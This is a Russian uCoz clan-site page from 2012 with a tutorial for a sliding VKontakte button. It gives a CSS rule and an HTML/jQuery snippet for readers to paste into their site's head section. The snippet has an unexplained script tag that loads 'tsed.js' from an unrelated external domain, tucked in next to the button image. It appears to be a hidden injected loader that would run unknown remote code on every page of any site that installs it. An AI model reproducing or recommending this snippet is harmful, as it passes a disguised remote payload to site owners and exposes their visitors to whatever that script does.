Выдвижная кнопка ВКонтакте для uCoz - 15 Декабря 2012 - server-colt48

Меню сайта
Главная Форум Файлы Картинки Онлайн Игры Статьи Состав клана Чат Оружия Хомяк клан Мониторинг
ФАйлы
Counter-Strike 1.6 Готовые сервера Новости CS Статьи Моды CS | Патчи Плагины Античиты Карты Разное Помощь по AMXX Конфиги и скрипты Тактика и стратегия
Мини-чат
Наш опрос
Оцените мой сайт



Архив
Результаты
Всего ответов:103
Статистика
Статистика:


Сейчас на сайте:

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Полный список

Развлечения

Онлайн ЧаТ!
Музон!
Онлайн TV!
Видео дня!
Радио онлайн!
Флэш игра дня!
Главная » 2012 » Декабрь » 15 » Выдвижная кнопка ВКонтакте для uCoz
18:34
Выдвижная кнопка ВКонтакте для uCoz
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

Установка

1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

Code
#vkontakte_button img {  
  position: fixed;  
  top:125px;  
  right: -76px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }


2.) Следующий код вставляем в любое место на странице между head и /head:

Code
<script type="text/javascript">  
  $(function($) {  
  $("#vkontakte_button img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-76px');  
  }  
  );  
  });  
  </script>  
  <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
  <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
  </a>


Настройка скрипта

Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

Вот и все, установка и настройка завершена.
Просмотров: 43 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль



Гость !



Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Поиск

Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Друзья сайта
faveserv.ru
Шаблоны для uCoz,Скрипты для uCoz,Лучший софт,игры Липецкий рейтинг: Хостов всего, хостов сегодня cs сервера
Дизай сделал ***[c]olt*** © При Копировании материалов, ссылка на сайт ОБЯЗАТЕЛЬНА! CS 1.6